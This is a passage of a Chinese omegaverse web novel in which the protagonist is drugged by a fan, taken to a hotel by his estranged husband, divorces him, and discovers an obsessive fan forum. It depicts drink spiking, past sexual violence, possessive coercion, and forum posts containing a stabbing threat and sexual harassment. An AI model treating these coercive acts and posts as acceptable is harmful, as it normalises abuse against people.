那酒液甚至进了他的口腔。 冰冷的液体扑面而来时, 还有一股香气翩然而至,让他回过神来后蓦地笑着舔了下唇。 权当奖赏。 泼向相召南的酒液尚在他的脸上和衣服上, 少许被他添进舌根贮存, 还未起效,但桑也喝进去的那一小口酒已经开始在他的体内游走。 桑也顿时感觉大脑不太清晰, 稍作思考后, 昏沉的感觉更甚,令他到了神志不清的地步。 泼酒是他的冲动之举。 这样的冲动不仅是对突然出现的相召南做出的下意识反应, 更是带着某种怒气的发泄。 那通电话便是导火索。 电话那边, 林肯先是简单寒暄一二,便进入了正题。 他说什么? 桑也头有些痛,他揉了揉额角, 想起来了一些。 林肯说:“有件事情要麻烦你。” 紧接着就说出了令人发笑的话。 他要桑也配合着和相召南出现在公众视野,并非指某些正式的发布会, 或者大佬云集的商会, 而是私下见面, 让提前安排的记者拍下照片。 还说不用表现得亲昵, 最好是矛盾多一些, 情绪复杂一些,让人看了能产生许多猜测臆想,引起网友讨论的那种类型。 桑也完全无法理解。 林肯真把他当网红在对待吗? 他说:“我不是演员。” 林肯并没有把他的婉拒当回事, 只说:“你可以的。”随后便挂断了电话。 他之所以这么果断地离开M国,一方面是C国才是他的根,另一方面便是他与林肯的矛盾愈发严峻,二人完全不同的理念随着时间的推移到了无法和解的地步。 而他又做不出吃水忘了挖井人的事,念着林肯当初帮扶他的恩情,不好直接撕破脸,才会把自己三年来辛辛苦苦扶起来的基业交给别人。 正憋着一肚子郁气的他眼前下一刻就出现了电话中提及到的人,并且来势汹汹,刚靠近他就做出了抢夺的动作。 在那短短的一瞬间,并不明晰的脑海里,现在这个大步跨来似乎要动手的男人,和多年前双目灼烧着烈焰,射出凌厉光芒,薄唇抿成僵硬的直线,浑身上下透露着不容置疑强硬态度的男人,重叠在了一起。 眩目的酒吧灯光闪了一下,惊惧骇觫的感受涌了上来。 他一边疑虑相召南怎么无处不在,一边以这辈子最快的反应速度把酒泼了出去。 然而他的力气只够他泼出这杯酒了。 他伸出去的手还悬在半空,骤然失力,酒杯跌落在地上,尽管地面铺了地毯,还是摔成了两半。 桑也低着头,有些愣地看着摔坏的酒杯,突然就明白了相召南刚才只说了半截的话后半段是什么。 这酒里被下了药。 他的双目不可置信地放大。 在那个Omega粉丝离开时,粉丝表现得异常兴奋,说自己叫齐橘,喜欢了桑也三年,觉得他能够做出为了摆脱AO之间的病理连结而剜去腺体的举动,是他当之无愧的偶像,没有想到今天能得偿所愿。 秉持着对Omega天然的好感和信任,从未想过有朝一日竟然会被Omega下药! 他反手摸着吧台的柱子,试图借力站着,却浑身一晃,险些摔倒。 可能是他这几年身体养得太差,又或许是药效太猛,只是小小喝了一口,作用来得如此剧烈。 整个人落入了相召南怀里。 相召南把他打横抱起。 顿时天旋地转。 桑也扼住相召南的脖子,“放我下去,不用你管!” “你想做什么?相召南,放我下去!我不需要你故作好心,谁知道你打的什么主意。” 然而相召南并没有停下抱着他走的动作。 “呵,相召南,你个伪君子。什么来提醒我酒里有药,你要真想提醒我,还会等到这个时候?我看你是等着我药效发作、不劳而获吧。” “你真恶心。” 相召南的神情十分隐忍,面色不虞。 见怎么说相召南都不为所动,桑也只能推搡起来,“放开!” 动静不小,周围人投来好奇的目光,却无人上前阻止,只有那个调酒师连忙放下雪克杯,跑到相召南面前堵住他。 “这位先生,你不能这样做。他并不自愿和你……” “我们是合法伴侣。” 调酒师瞬间愣住,啊了半天不知道说什么。 相召南又说,“要看我们的结婚证照片么。” 这话虽然是询问,语气却并不像调酒师想看就给他看的样子。 调酒师吞了吞口水,说了句不好意思打扰了,捂着脸跑回吧台。 桑也这时浑身软得像棉花糖,又热又痒,短暂地说不出话来。 等他能够再次张嘴说话时,他人已经被相召南带到了临近的一家五星级酒店套房里。 桑也用着最后一丝力气,“相召南,你要是敢碰我,我会恨你一辈子。我不会放过你的,不管是你还是你的公司,都得……呃啊,付出代价!” 相召南脱他衣服的手顿住片刻,双目眼眶诡异地红肿着,原本刚硬冰冷的脸竟然也出现了一丝动情之色。 但他只是短暂地停了一瞬间,仿佛在衡量桑也所说的话对他而言有多重。 最后接着剐去桑也的衣服,从衬衫到西裤,再到内裤,悉数被剥去。 随着衣服越扒越干净,露出来的画面也越让相召南感到触目惊心。 他不可置信地看着那白皙肌肤上一道道痊愈后留下的淡粉色疤痕,像粉嫩的软虫,侵蚀了面前人的躯壳。 仿佛有一道电流掠过他的心脏,相召南颤抖着手触碰了一下桑也腰际的伤痕,刚一碰到就触电般收回。 而桑也则痴愣愣地望着天花板,心中仿佛绝境荒原,荒凉得可怕。 然而出乎意料的是,相召南并没有对他上下其手,反而是再次此将他抱起,带去了浴室。 从房间到浴室,距离并不算长,桑也莫名感觉相召南步伐有些发虚,甚至还踉跄了两下。 但他现在的大脑让他来不及也没能力去思考太多,只知道自己被轻柔地放进冰冷的浴缸,紧接着相召南打开了浴缸的放水开关和花洒。 夏天的冷水并不像冬日里那样刺骨,但也没有到体温以上,水漫过他的腰际时,桑也浑身颤了一下。 相召南似乎发现了这一点,粗粝的大掌抚摸了一下他圆顿而瘦削的肩头。 “有点冷,忍一忍。” 他的声音不再如酒吧里反驳调酒师那样中气十足,反而十分沙哑、充满情欲,仿佛被烈酒灼伤过。 桑也在冷水的浸泡中恢复了一丝理性,发出一声耻笑,管不住下半身的狗。 相召南落在他肩上的手像是触摸着什么易碎的稀世珍宝,丝毫不敢用力。 热意涌上头脑,桑也心却凉得吓人。 那四年,桑也经历了无数次暴力的性/爱,从未体会过如此温情。 他也曾渴望在时候一个温柔的拥抱,一个深情的眼神,一句贴心的问候,但实际收集到的只有无穷无尽厌恶的眼神和冰冷的背影,以及满身性/爱痕迹。 花洒的冷水源源不断浇灌在他身上,浑身绵软无力的桑也瘫坐在浴缸里,后背紧贴在白瓷贴面上,那里冰凉如寒冰,勉强能让他浑身□□削减一二。 桑也不愿在相召南面前做出耻辱的动作,只能在浴缸里艰难地伸直腿,绞动肌肉,来抵御那摧残人心智的药效。 但很快,一整缸的水仿佛都被他烧烫了。他像是热锅里的青蛙,马上就要失去意识。 在桑也迷蒙的视线中,相召南还在浴缸旁边为他淋水,但一个晃神之际,相召南兀地站起身来,二话不说脱着自己的衣服。 要说桑也心中没有害怕是不可能的。 他现在疲软无力,相召南要趁人之危的话,他毫无反驳之力。 眼见着相召南的衣服马上就脱得一干二净,桑也站不起身来也动不了手,只能嘴上咒骂:“相召南……” “你要是敢,咳咳,做什么不该做的,你的腺体也别想留着了。” 桑也声音低哑,没什么震慑力,反而是那双琥珀色眼眸透射出寒光,震慑住了相召南一秒。 可惜的是野猫的怒目圆瞪也只能让心怀不轨的人类短暂停顿片刻。相召南停了一瞬间,随后接着脱下自己的衣服,跨进了浴缸里。 他个子高大,一进去,立马挤出了许多的水,哗啦啦流到地面。 相召南捞起快要溺进水里的桑也,双手裹着他的腰和肩,感受到源自于桑也的颤栗,似乎在害怕他。 原本叫着要让他付出代价的人此时收敛了锋芒,终于意识到自己毫无反抗之力。 相召南该高兴,可是他对上那双布满恐惧的双眸,感到被无形的手扼住喉咙的窒息。 他只好轻柔地、发颤地抚摸着桑也的脸:“别怕,别怕,我不碰你……医生马上就来,别怕我。” 他带着桑也的手,把他的手放在自己的脖颈上,把自己的脆弱的生命交到他手上。 说不清这一刻到底是桑也更害怕相召南碰他; 还是相召南更害怕桑也怕他。 不知道是药效作用,还是因为间隔三年的肌肤相亲,相召南再也控制不住腺体,如同开闸的水库,任由冰霜味信息素涛涌而出,瞬间填满了狭窄的浴室。 可是桑也已经闭上了眼,昏了过去,没有任何反应。 相召南将人拢在怀里,滚烫的肌肤相互贴近,却又能怪异地感受到一股舒缓的凉意。 他胸口挂着的无事牌隔在二人胸背之间,随着他拥抱的力气渐强,无事牌的轮廓在桑也白皙的后背上和相召南胸口肌肉上印出长条的红痕。 相召南似是意识到这会伤到桑也,连忙和他分开。他垂下黑色眼眸,用满是情欲的眸凝视着那一点红色。 最后附唇上去。 突然,他从浴缸里站起身来! 强烈的药效一阵又一阵冲上来,相召南一拳锤在了浴室的墙壁上,指骨上的肤肉直接被碾碎出血,红色液体顺着瓷砖缝隙流了下来。 不能…… 至少不能…… 猩红的双目紧盯着血渍,仿佛用尽浑身力气。 ——门铃响了。 第44章 桑也醒来的时候, 已经是上午九点。二十七楼的房间窗户正对着朝日,房间天光大亮,一览无余。 他揉了揉眼睛, 坐起来。 突然想起什么, 登时绷紧了肌肉, 掀开被子看了一下。 没有明显的痕迹。 但他还是不放心, 确定四周无人,缓缓伸出手试探了一下, 发现的确没有被侵入过的迹象, 他才如释重负般后仰躺在软枕上。 右手手背上有一个细小的针眼,床头柜还放着没用完的药和几个玻璃罐。 桑也猜测昨天最后相召南善心大方帮他叫了医生, 才免了他委身仇人的不幸。 昏迷前的最后一眼, 他模糊的视线里出现了相召南烧红的眼,俨然是中药的表现。现在回想起来他中药估计就是桑也泼的那一下导致的。 在他的印象里, 相召南从来不把他的身体放在心上, 来了情欲或者莫名其妙生了气,都要拿他泻火。 这回中了药,反而没有兽性大发, 才让桑也感到意外。 说不定是桑也那几句咒骂的话起了作用。 至于现在相召南在哪里,桑也并不在意。 躺了一会, 彻底清醒过来, 桑也便计划着离开。 然而他下床来却找不到自己的衣服, 只能穿着酒店的睡袍在套房里到处寻找, 浴室, 客厅沙发,卧室,他都找遍了。 桑也揉了揉太阳穴, 仔细回想了下昨天的场景。 可能是药效导致记忆模糊,像一片片散落的碎片,他努力拼凑了半天也只能想起个大概。 相召南昨天应该就是在卧室脱掉他衣服的。 可卧室被他翻遍了,都没找着衣服。 总不能让他裸奔吧。 桑也头痛了一下,无可奈何地拿起床头柜上的手机,想着给助理打个电话让他送身衣服过来。 结果手机又没电关机了。 桑也冷笑一声。 肯定是相召南搞的鬼。 把他衣服拿走,把手机专门放在床头柜,给他留着,却不给他充电。 是在报复他? 桑也只好翻出酒店自带的充电器,先给手机充上电,等它开机。 他坐在床头,低垂着头,像个易碎的洋娃娃。 就在这时,房门传出异响,有人进来了。 他抬眸望去,便看见相召南一身正装,出现在门口。 还传来一丝香气。 桑也循着味道看去,只见相召南手里拎着一袋小笼包和一杯豆浆,和他西装革履的外表格格不入。 然而更让桑也注目的是,随着目光上移,他竟然在相召南手腕上发现了一只电子手表。 这个从穿着到行为再到习惯都老气横秋的人竟然也赶了趟时髦。 难道是因为那天他说相召南老了? 桑也移开目光。 “醒了。” 桑也默默翻了个白眼。 废话。 “给你买了点早餐。医生说不能吃太油腻的,就给你买的菜包还有豆浆。尝尝吗?” 相召南贴心地把豆浆取出来插上吸管递到桑也面前,虽然站着,该是居高临下的姿势,却微微弓了腰,仿佛在祈求桑也喝下什么圣水。 桑也侧了侧头,拍开他的手,滚烫的豆浆洒了些出来,瞬间把相召南的手背烫红,但他没有丝毫动摇。 “我的衣服呢?” 相召南仍是举着豆浆,仿佛是害怕桑也会认为他被烫伤之后有怨气,柔声道:“你的衣服沾了酒,我叫人送去干洗店了。” “先吃点吧,医生说你身体不好,不能不吃早餐。” 桑也没有施舍给他一个目光。 他在M国时经常忙碌,早上只喝一杯冰美式,勉强垫一下肚子就开始处理工作,久而久之对早餐没有多大的欲望。 “不必。我待会叫助理送衣服来,你可以出去了。” 相召南无动于衷,“这酒店管理很严格,你的助理来了也上不来,还是吃点吧,我给你准备了衣服,你吃点我就把衣服给你。” 桑也登时站起身来,直直看向相召南。 相召南看似处于下风,实则步步紧逼,逼得他喘不过气来,毫无选择。 还以为他变了。 其实他一点也没变。 还是一样的令人作呕。 桑也握了握拳,夺过豆浆杯,喝了一大口,结果豆浆太烫,刚一入口就烫得他哇的吐出来,悉数吐到了相召南的西服上。 相召南愕然站在原地,桑也同意吃早饭带来的喜悦还没过脑,就被桑也可能被烫到了的想法冲散。 他没有管自己西服上的污垢,直接从桑也手中拿回豆浆放在床头柜上,之后立马取出抽屉里酒杯备的冰山矿泉水拧开,连忙递给桑也。 桑也这时也顾不上别的,接过来灌了两大口,才感觉喉口火辣辣的痛感减轻了些。 他捏着矿泉水瓶,面对相召南殷切的照顾一时有些无措。 最后他说:“你自找的。” 相召南神色自若,“嗯。” 桑也气不打一处来。 “衣服给我。” “再吃个包子。”相召南转身拿起袋子,挤出一个婴儿拳头大小的菜包,“听其他顾客说这家店的菜包很香,配方和外面的不一样,你尝尝?” 桑也冷着脸,听相召南说着一些情侣之间的日常话。 “吃不下。” 相召南没有动。 桑也胸口堵了一口气,抢过包子,刚想一口塞到嘴里突然想起方才的事故,这回谨慎了些。 先是用贝齿靠近菜包,轻轻咬开包子皮,紧接着吐出淡粉的舌头感知温度,确保不会再次被烫之后才一口喂进嘴里。 他咽下之后,问:“这样可以了吧?” 相召南似乎又要提出什么要求,桑也拧眉:“别得寸进尺。” 相召南的动作一滞,两秒钟后扬唇一笑,“好。我去给你拿衣服。” 衣服就被他放在客厅,如果桑也硬要闯出去,肯定会发现它们,但好在桑也没有,庆幸桑也没有。 他把衣服取出来放到床边,没等桑也说什么便自觉离开了卧室,还帮忙带上了门。 但桑也并不信任他。 等人走后,他等了半分钟,特意去锁了房门才开始换衣服。 衣服很合身。 一件熨帖的白色衬衣,外搭一件浅咖色风衣,西裤布料柔软却又直挺,很有型。 这时还在夏末,尚未降温,在室外单穿衬衣便足够,但室内往往开了空调,还需要加一件外套。这样看,这套着装还挺合时宜。 穿好之后,他在穿衣镜前整理了一下衣领和袖口,准备离开的时候,突然被一股莫名的思绪冲得头脑发蒙。 他看着镜中衣裳合身的自己。 这三年里他偶尔锻炼一二,虽然因为手术后遗症的原因身体比常人虚弱些,但都在内里,表面上看,他的臂肉的确比过去结实了些。 但因为骨量小,穿上衣服后看不出来,仍是单薄清瘦一片。 和三年前没什么不一样。 心中蓦然感到无尽悲凉。 那四年里,相召南给过他钱,却没有给他买过一件衣服。 桑也对相召南穿多大码的衣服多大码的鞋无所不知,但那时的相召南肯定不知道桑也穿多大的衣服,也不知道他爱穿哪个牌子。 而现在,当一切都结束了,相召南突然带着一套他的尺码的衣服闯了进来。 好像那四年他的付出都是枉然。 做那么多,说那么多,都不如给相召南一个巴掌管用。 桑也不自觉攥紧了拳,指尖扣得掌心一阵钻心的疼痛。 半晌,等那股遽然涌上头脑的不甘散去,他才松开手。 他做了几个深呼吸,等自己的呼吸频率恢复平稳,才打开门走出去。 桑也一路往外,没有看相召南一眼,朝着套房房门走去。 相召南似乎有些情急,叫了一声他的名字:“桑也!” 桑也的手刚落到门把手上,还没用力,听见这猝不及防的一声,下意识回了头。 却见相召南不知为何吞吞吐吐没有说出话来,桑也耐心快要耗尽,脸上流露出不耐烦时,相召南才开口道:“加个联系方式?等衣服洗好了……我让他们给你送过去。” 桑也蹙眉,“不用。直接扔了。” 相召南目光久久凝望着他,得到否定回复后眼眸中闪过一丝失落,“是吗。” 但并没有如桑也防备的那样恼羞成怒冲上来,只是站在原地,坦然又遗憾。 桑也实在不愿意对上他那双虚伪的眼神,厌恶地偏头,这时他刚充上百分之二十电量的手机震动了一下。 于是他便顺势打开了手机。 屏幕刚一亮起来,映入眼帘的赫然是一条关于他的花边新闻! M国顶级艺术家回国和前夫纠缠不清……什么东西! 桑也顿时睁大了眼,连嘴巴都不自觉张开,下颌随着他震惊的神情微微扭动。 他把目光从手机屏幕移向相召南,咬了咬牙,“相召南,搞这些小动作有意思么?” 相召南愕然,似乎听不懂桑也在说什么。 但他很快反应过来是桑也的手机上出现了什么东西,才让桑也对他的态度突然恶化。 他故作镇定,但语气仍是透露出慌乱:“是有人给你发了什么消息吗?还是什么别的……” 桑也见他装不知情,冷声道:“新闻。别告诉我你不知道。” 相召南闻言立马打开手机,果然也收到了那条推送。 他手有些颤抖,咔嚓一下摁灭了手机,急遽地迈上前几步,握住桑也的手腕。 桑也的手腕十分纤细,仿佛他一用力就会被折断。因而相召南没敢太用力。 也正是他不敢用力,桑也一下子便挣脱了。 相召南被甩开的手还悬在半空,只能自己僵硬地收回来,又对上那双充满嫌恶的棕瞳,心里剧痛不已。 但此时顾不上那些,只想着解释清楚。 “我还没有无耻到这个地步。”相召南立马澄清。 “我知道你不信我,但散播桃色新闻,”他顿了一下,似乎在思考如何表述才能在自己把被下药的桑也带到酒店如此糟糕的情况下增加自己的可信度,“我不屑于用这种手段。” 桑也面色凌冽。 虽然对相召南没有好脸色,但也对他的为人和作风也有一些了解,听了他的话,也知道自己的怀疑太过鲁莽,完全是情绪上头的举措。 但这也并不意味着相召南就全然无辜。 他没有为误会相召南的事道歉,毕竟同样的事情他经历的远多于相召南,也没人和他道歉,不是吗。 反而说:“这个不是,那就是还有别的。” 相召南的神情霎时凝固了。 第45章 相召南的表情实在不好看, 但桑也也摸不清他这副复杂的难堪的神情究竟是被他说中了,还是因完全不被信任而感到难过。 两种可能性相比,桑也更希望是后者。这样, 相召南也能体会到他那时百口莫辩的无奈。 想到这里, 桑也突然怔了一下。 似乎有某种黑暗的见不得光的东西在心口滋生。 他移开目光, 不再去观察、享受相召南千言万语如鲠在喉难以言表的悲伤神情。 “分居证明我会让助理送去法院, 离婚证过两天就会快递给你。”他留下这样一句话,没再看相召南一眼, 快速进了电梯。 离婚证! 等相召南反应过来时, 电梯已经合上门。 相召南突兀地伸着手,现在按下按钮, 还有机会。 但他仿佛受冻一般迟迟没有动手, 直到红色的数字跳动了一下,他才触动按钮。 为时已晚。 就像三年前那场追悔莫及一样。 他一直在后知后觉。 空荡的酒店走廊里, 壁灯已经熄灭, 光线昏暗,铺着毛绒地毯的地面仿佛塌陷的沙漠令他摇摇欲坠。 相召南呢喃出声:“桑也……” “别不要我。” …… 桑也原本想着得打个车回去,走出来却发现酒吧就在不远处, 意味着他的车也就在不远处的停车库里,便还是自己开车回家。 车辆启动没一会手机就来了电话。 他昨天彻夜未归, 可能是大哥打来关心他。 但桑也瞄了一眼, 发现并不是。 是林肯。 桑也下意识并不想接他的电话, 而且他现在正在开车, 又没提前带上耳机, 那他接不了电话也很正常吧? 他没有不接人电话的恶习,但此时实在不方便,也不算他的过错。 然而这通电话响了许久。 一直响到一个红灯路口, 桑也停下车。 他叹了口气,看来这个电话是非接不可了。 趁着红灯,他接通了电话,打开免提,丢到车前。 “没想到昨天才跟你打了电话,今天就出了效果,你还是一样听话。” 桑也放在方向盘上的手不自觉握紧了,削瘦的掌绷得紧紧的。 “是你安排的?” 也对,昨天他就提出要桑也和相召南配合宣传炒热度。不是相召南,那就只能是他安排的人偷拍、上传、灌水了。 “你们到底在做什么交易?”桑也凝神,压制住怒意,“他给了你什么好处?” 林肯不可能无缘无故提出这样的要求。 他是个无利不起早的商人,肯定是相召南跟他做了利益交换,才让他不惜彻底和桑也关系恶化也要桑也配合他。 至于要求当中的配合相召南出现在大众视野…… 这究竟有什么用? 桑也唯一能想到的便是给相召南提供骚扰他的机会。 桑也一腔怒意,林肯却笑道:“难道不是因为你们有缘吗?” “别恶心我。”桑也立马道,“你到底想要什么?相召南他能给你的,我——”他咬咬牙,还真说不出口“同样可以给你”这话,毕竟相召南在国内的势力和影响力的确不是他一个刚回国的人可以比的。 “你不用管那么多,配合就行。”林肯并没有回答桑也的问题,似乎有意隐瞒。这更让桑也笃定他们之间做了交易。 “你……”桑也还想说点什么。 “你和三年前不一样了,很高兴看到你的转变。”林肯突然谈起了一些抒情的话,连语气都放低了,仿佛在回忆过去,但旋即话锋一转:“但人不能忘本,你说是吗?” 桑也沉默了。 他的确和三年前不一样了。 M国的经历和遇见的人塑造了现在的他。 林肯听着这沉默,知道自己说的话有多少分量,但也清楚这沉默是桑也无声的反抗,又道:“最后一次。” “你配合宣传,事后我不会再插手你们之间的任何事。我们两不相欠。” 在三年前初到M国手足无措的时候,能够得到林肯的帮助,桑也无比庆幸,到现在仍心怀感恩,否则他也不会对林肯荒谬怪诞的要求一再让步。 因此只要是他力所能及的,他都会竭尽所能回报林肯。 但现在林肯告诉他,最后一次,事后两不相欠。 桑也已经成长起来,完全能算得上一条人脉,而林肯,把长久利益看得比什么都重,他不可能不知道桑也对他的感念能给他带来多大的益处。 多大的利益能让他说出两不相欠这种话? 桑也时常被爱,也时常经历背叛。他叹息,说:“林肯先生,我以前切切实实把你当我的长辈看待。” 林肯并没有回应他这句感慨,只说:“下周末晚上六点,云顶餐厅,你和相召南,别忘了。” 桑也蓦地笑了,“最后一次。” 随后抽出一只握着方向盘的手迅速挂断了电话,没给林肯再说话的机会。 绿灯亮,他朝着家的方向开去。 回到海风府,家里只有两个刚雇的阿姨在家,桑也打电话叫助理来拿分居证明送去法院处理。 助理拿上分居证明,准备走时告诉桑也他给自己取了个C国名,叫张明,让桑也以后叫他的新名字。 桑也没问是谁帮他取的,笑着满口答应了。 “张明”虽然土了点,但总比助理原本那个长达十二个音节的名字好。 晚上的时候桑守安回来,告诉桑也他和其他人商量后决定新开一家主攻生物科技的公司。 桑也啪地一巴掌拍在他后背上,大马金刀坐在旁边的沙发上,质问:“工作就这么重要?我昨天晚上彻夜不归,你没打算问候两句?” 他都怀疑那通电话是大哥打来的,结果不是!而且一整天都没给他发个消息。 桑守安正夸夸其谈,被打断后愣了一下,“你是成年人了,想跟谁约会都是你的自由。我问多了你要烦我。” 桑也哼了一声,勉强对这个回答感到满意。 “那你知道我昨晚上跟谁在一块吗。” 桑守安更是说不出话来,“Alpha?嗯……Omega也行,我不是那种封建的人。” 桑也伸出一根手指摇了摇,“相召南。” 桑守安先前一直处于淡定状态,即使被质问怎么不关心自己弟弟也神色自若,对答如流。 “相召南”三个字一出,却立马变了脸色。 “你们……”他站起来,焦急捉住桑也的肩膀,想问桑也是不是又犯傻了。 但桑也只是拍了拍放在自己肩膀上的大手,“放心,什么都没有发生,只是个意外。” 随后他把昨天晚上的意外一五一十给讲述给桑守安听。 听完,桑守安沉默了片刻。 桑也以为他也在震惊相召南居然没有趁人之危,却听他说:“你那些粉丝……的确太危险了。” 桑守安捏了捏鼻梁骨,“之前方明就和我说过你在外面的境况,也向我表达了担忧,就是关于你在网上的热度。” “他说网上有个关于你的论坛,里面的发言都……他觉得那些粉丝不像粉丝,像要把你吃了的狼。现在看来,的确如此。” 但桑守安百思不得其解,“只是前一年正常地宣传了下,怎么会招惹这么多……怪人?” 桑也摇头,他连有个什么论坛都不知道。 不过说到宣传,他有话说。 “林肯联系了我。” 桑守安看向他,微微皱眉。 “他要我和相召南吃一顿饭,之前还要我配合相召南宣传。”桑也咬了咬下唇,思考了下,“先前我不理解他为什么要我配合相召南宣传,但现在想来,什么宣传都是虚的,就是要我去联系相召南。” 最后他得出结论:“相召南和他之间肯定有见不得人的勾当!” 随后碎碎念了句:“相召南到底给了他什么好处。” 桑守安眉头皱成了川字,“你答应了。” 桑也点头,眼见桑守安就要站起身来,桑也连忙按住他:“哥,你别急。林肯说这是最后一次,之后不会再要我帮他什么忙,两不相欠。” 桑守安闻言又坐了回去,他沉思许久,脸上表情凝重,似乎在艰难地权衡利弊。 “如果吃一顿饭就能彻底还清林肯的‘人情’,也不见得是件坏事。”他还记着之前林肯和桑也吵架的事。 桑也小鸡啄米般点头,“大哥说得对。” 桑守安蔑了他一眼,“你最好意志坚定点,别真如某人的意又被骗,人家勾勾手指你就屁颠屁颠追过去了。” 这话说得,桑也立马拍着胸口保证道:“没那么容易。” 但刚一说完,他就想起了点事。 说到屁颠屁颠追过去的舔狗行为,桑也不得不记起之前为了获得一丝宝贵的冰霜味信息素,他偷偷把相召南脱下来的衣服藏起来,借口洗衣服,实则留着自己筑巢用。 而他今天早上和相召南发生了一个角色互换的对话。 “不用。直接扔了。” 他心脏猛跳了一下。 坏了。 不该把衣服留着让相召南处理。 谁知道他能做出什么事情来。 实在不怪桑也以己度人,而是相召南现在的表现的确令人怀疑。 桑守安盯着他的神情看了半天,最后掐了一把他的脸:“刚还高兴呢,现在又拉着脸。怎么喜怒无常上了。” 第46章 桑也怔了一下, 没想到自己情绪多变到大哥都发现了,“不说这些。”他岔开话题,“你确定要朝生物科技的方向去吗?” 桑守安见他有疑虑, 挑眉等他问。 “我大学有个同学的Alpha男朋友就是学的生物医学技术, 说这个行业挣不到钱。是真的吗?” 桑守安点头:“如果你说的那个Alpha只是想进某家公司当技术人员, 那确实挣不到什么大钱。这行回报慢, 要放长线。” 闻言,桑也不自觉露出担忧的神色, 又听见桑守安说:“但只是针对他。在哪个行业赚大头的不是上面的人?” “安心, 你哥我心里有数。”他拍了拍桑也的肩膀,随后捏了捏, “平时多吃点, 别挑食。” “没挑食,在M国哪有我挑的份。”桑也撇嘴, “既然你这样说, 我就不多嘴了。” “嗯。我已经和写字楼那边谈妥了,办公点定下来,招聘和拉投资一起做。我包里的合同, 你待会签了,先给你挂个闲职, 等公司正式起步了再叫你来。” “现在不用我?” “你在国外忙了三年, 给你放个长假, 不乐意?” “那倒不是。就是……有点闲不下来。”桑也摸摸鼻子, 他好像习惯忙得团团转的感觉了, 只有那种忙得不可开交、心无旁骛的状态才能让他头脑清明。 一般人很难理解,为什么会有人沉迷工作。其实道理很简单,就像喝惯了咖啡的人容易成瘾, 割舍不下的并非咖啡的苦涩,而是苦涩过后带来的精神感。 三年来,桑也拼命跑业务,画画,一方面是想要快速回血,另一方面就是为了不让自己头脑昏沉,沉溺在失败的过去出不来。 桑守安沉吟片刻,他自己也是个工作狂,完全能理解“闲不下来”这种情况,便说:“你要是实在坐不住,后天就跟着我一块去拉投资。” 桑也立马答应下来。 晚上他躺在床上,难得闲下来,便上网冲了会浪。 不知道是不是因为出国三年,加上太忙碌无暇娱乐,他上网时总觉得自己有些落伍,这种挫败感让他没一会就失去了兴趣。 刚准备把手机关上睡觉,脑中叮的一声。 论坛。 今天大哥说的论坛。 是什么? 桑也重新坐起来,在网上搜了一下,最初没查到,还是带上自己的名字和论坛二字作为搜索关键词,跳转了好几个链接才慢慢摸到论坛里面。 居然还是个匿名论坛,发帖量有几千万,回复量更是高达几十亿。 他往下一翻,登时瞪大了眼。一双琥珀色眸子在只有昏暗夜灯亮着的卧室里散发出震惊的光芒。 他不可置信地看着这些帖子的摘要内容。 【为什么要和xzn见面啊,为什么不直接捅死他,宝宝你要是不敢我来帮你好不好。一定是他欺骗了你,新闻是他故意散播出来的对不对,你怎么可以背叛我们呢,你最好别……】 【为什么一回国就和xzn见面,就这么念念不忘吗,明明是你自己在发布会上说你没了腺体没了信息素依赖症不会再对任何Alpha产生病理性依赖,现在是在做什么,不打算解释一下吗宝宝……】 【他回C国了,我该怎么办,呜呜呜要和老婆隔海相望了。最好老婆的公司再被查封一次,这样就只能继续在M国讨好我们了。好喜欢老婆的AI视频,已经盘包浆了……】 【给老婆发了很多消息,都没回我。明明给联系方式的时候这么痛快,怎么现在不回消息了。老婆好辣,我好喜欢,没关系我会天天给你发我的穴照,老婆你其实在偷偷看的对……】 桑也差点把手机丢出去! 这个人,不会就是那个给他发黄色照片被他拉黑的Omega吧?可是他已经拉黑了他,他又怎么继续发呢? 桑也不得不感慨一句变态。 他很想退出这个论坛,但又忍住了冲动,手指在屏幕上划拉了一下,直接把发帖的事件拉到半个月前。 【宝宝就是beta和Omega的神!产粮,老婆×你,两万字超长文,链接……】 【世界离了老婆就是会停止运转啊怎么了谁有意见,几个蠢猪居然还敢嘲讽老婆,也不看看自己长什么样,成天跪舔普通且自信的Alpha,换成一个事业有成、长相漂亮的残缺Omega,就变成他们的敌人了,搞笑……】 桑也大为震撼。 他的三观仿佛被捏碎后重组,处于一种混沌未开的迷茫状态。 他把手机丢在枕头上,愣愣地躺着,完全傻了。 桑也完全不知道该如何评价自己成为无数Beta和Omega的性幻想对象这件事。 他先前就知道有些异于常人的Beta和Omega对他有欣赏以外的感情,但他一直以为只在少数,可看这个论坛的情况,哪里是少数! 他甚至开始后悔当初发现苗头的时候没有迅速掐断。 明明他当时也只是想做件善事,怎么就到了现在这个地步呢? 但是…… 桑也这时顿悟。 难怪之前在M国的营销策略如此成功。 在M国时的宣传花小钱办大事,他以为是因为他的人设,他的经历,他的外貌比较吸引人,回到C国一场花边新闻冲上热搜,他以为是网友们都比较喜欢豪门八卦。 现在看来,这个论坛的用户才是真正的推手吧? 桑也一时不知道该如何评价。 不得不承认,这个论坛的用户为他的成长助力颇多,并且他们似乎……也都是被桑也当初为了成安的长久利益而答应的以身入局一举吸引而来。 也就是说,若非桑也点头,事情不会发展到这个地步。 怎么想着想着,还都成他自己的错了? 纠结不已,桑也翻身把被子全部裹在自己身上,将自己缠成一个蚕蛹,试图用缺氧的方式使自己快速入眠。 也的确睡着了。 第二天中午时,张明来了海风府一趟,把离婚证送到桑也手中。 等张明离开,桑也把离婚证拿回房间,放到床头柜上,沉默地注视了许久。 心中有股尘埃落定的感觉。 不过,离婚证居然是红色的?还以为会是绿油油的。 红色的离婚证摆在桌面,被所有者和围观者注视着。 然而被撕碎又拼起来的离婚证仿佛漩涡,裂痕上的锯齿边缘如同吱呀旋转的拉条,令相召南感到目眩,不敢直视。 诊室里,李由双手抱臂,背靠座椅,“你的意思是,拿到结婚证你一生气,就暴怒地把它撕碎了?” 相召南摇头,“我没有生气,我只是觉得它不应该存在,也没有暴怒,我很平和地把它撕掉了。” 李由深吸一口气,“你的偏执情况并没有任何改善,如果继续下去,恐怕需要采取催眠治疗。” “我不这样认为。昨天和前天我已经表现得很克制了。” 李由安静听他吹。 “在那样的情况下,我没有对他动手,反而叫来了医生。医生说他不能不吃早餐,但他不想吃,我没有命令他吃掉,他不想给我联系方式,我没有夺过他的手机强行交换,他要走,我也没有追着不让他走。” 李由若有所思,这和他方才听到的始终可不一样,于是毫不留情地拆穿:“你是叫来了医生,但你把他带到酒店,而不是医院,初衷是什么不用我点破吧?” “他不愿意吃早餐,你是没命令他吃,但是也没同意他不吃,沉默的示威难道是让步吗?” 说完小声嘀咕一句:“后面两件事倒还像样。” “也算有点进步。” 